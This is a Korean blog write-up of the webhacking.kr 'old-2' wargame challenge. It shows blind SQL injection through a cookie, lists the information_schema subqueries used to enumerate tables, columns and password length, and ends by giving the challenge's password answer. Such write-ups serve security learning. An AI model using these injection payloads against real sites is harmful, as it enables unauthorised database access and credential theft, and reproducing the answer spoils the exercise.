old-2_풀이

2021. 6. 23. 22:43문제연습/webhacking.kr

반응형

 

본 티스토리 블로그는 PC 환경에 최적화되어 있습니다.

​모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

old-2_풀이

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

Webhacking.kr

old-2번 문제풀이

이번 문제는 Bind SQL injection 취약점을 아용하여 계정 정보를 유출시키는 문제입니다.

접근 논리는 간단하나 그 과정에서 쓰이는 코드 때문에 난해하게 보일 수 있다는 점 양해 부탁드립니다.

 

 

1. 접속 화면

화면 소스코드를 보니 admin.php 경로에 대한 언급이 존재합니다.

해당 파일의 정확한 경로를 모르기 때문에 일단 하위 경로로 url을 넣었더니

다음과 같은 창이 확인되었습니다.

 

임의적으로 아무 값을 넣고 제출 버튼을 누르니 다음과 같이 잘못된 password라고 출력됩니다.

 

입력폼에 bind SQL injection을 시도하는 건지 아니면 다른 뭔가가 존재하는지 탐색하던 중

쿠키를 확인할 수 있었습니다.

해당 쿠키 값을 조작하면 어떤 반응이 일어나는지 확인해 보도록 하겠습니다.

 

time => 0=0

<!--2070-01-01 09:00:01-->

 

time => 0=1

<!--2070-01-01 09:00:00-->

 

위 결과를 보고 추측하건대 쿠키 값이 논리적으로 참일 경우 페이지의 소스코드 주석 값의 시간 중

초 부분이 1로 표기되며, 반대로 거짓일 경우 0으로 표기된다고 볼 수 있습니다.

 

즉, 쿠키 값 조작을 통해 admin.php에 로그인 비밀번호를 유추해낼 수 있을 것으로 보입니다.

바로 작업에 들어가도록 하겠습니다.

 

 

2. Exploit!!!

1. 테이블 개수 확인

우리가 비밀번호를 추출하기 위한 쿼리 문의 형태는 다음과 같은 형태가 될 것입니다.

 

select pw from TABLE ... ;

 

현재 우리가 원하는 비밀번호가 저장되어 있는 테이블의 정보를 알아야 하므로 테이블 이름을 전수조사해 보도록 하겠습니다.

 

1-1 테이블 개수

- time cookies -

(select count(table_name)

from information_schema.tables

where table_schema=database());

 

 

 

 

즉, 테이블의 개수는 2개임을 유추해낼 수 있습니다.

다음으로 테이블의 이름을 전수조사해 보도록 하겠습니다.

 

 

 

1-2 테이블 이름 길이

 

(select length(table_name)

from information_schema.tables

where table_schema=database() limit 0, 1)

 

 

 

 

(select length(table_name)

from information_schema.tables

where table_schema=database() limit 1, 1)

 

 

 

 

위 쿼리 결과를 통해 테이블 이름의 길이가 각각 13, 3 임을 알 수 있습니다.

 

 

1-3 테이블 이름 추출

 

입력 쿼리 문이 참일 경우 09:00:01, 거짓일 경우에는 09:00:00임을 이용하여

테이블명을 추출해 보도록 하겠습니다.

burp suite의 repeat 기능을 이용해도 되지만 간단하게 알아볼 수 있는

파이썬으로 코드를 작성하도록 하겠습니다.

테이블 이름 admin_area_pw, log을 알아냈습니다.

다음으로는 테이블에 존재하는 칼럼 정보를 확인해 보도록 하겠습니다.

 

 

2. 칼럼 정보 추출

 

2.1 각 테이블의 칼럼 수 추출

 

- admin_area_pw

SELECT COUNT(*) FROM information_schema.columns WHERE table_name='admin_area_pw';

-> 1

 

 

- log

SELECT COUNT(*) FROM information_schema.columns

WHERE table_name='log';

-> 2

 

 

각각의 테이블 내부의 칼럼 수를 추출하였습니다.

아까와 마찬가지로 각각의 테이블 내부 칼럼 이름을 추출하도록 하겠습니다.

 

 

2.2 칼럼 이름 길이

- admin_area_pw

(SELECT length(column_name)

FROM information_schema.columns

WHERE table_name='admin_area_pw')

-> 2

 

 

- log 테이블 1번 칼럼

(SELECT length(column_name)

FROM information_schema.columns

WHERE table_name='log' limit 0,1)

->2

 

 

- log 테이블 2번 칼럼

(SELECT length(column_name) FROM information_schema.columns WHERE table_name='log' limit 1,1)

-> 4

 

 

2.3 칼럼 이름 추출

아까와 동일한 방식으로 파이썬을 이용하여 이름 정보를 추출해 보도록 하겠습니다.

이제 패스워드를 아까와 동일한 방식으로 추출 진행해 보도록 하겠습니다.

 

 

3. 패스워드 정보 추출

3.1 패스워드 개수

 

 

- SELECT count(pw) FROM admin_area_pw;

 

 

 

 

 

3.2 패스워드 길이

 

- SELECT length(pw) FROM admin_area_pw;

 

 

 

최종적으로 작성된 코드와 추출된 비밀번호는 다음과 같습니다.

 

password : kudos_to_beistlab

 

 

반응형

'문제연습 > webhacking.kr' 카테고리의 다른 글

old-29_풀이  (0) 2021.12.25
old-47_풀이(보류)  (0) 2021.06.23
old-19_풀이  (0) 2021.06.22
old-21_풀이  (0) 2021.06.12
old-12_풀이  (0) 2021.06.10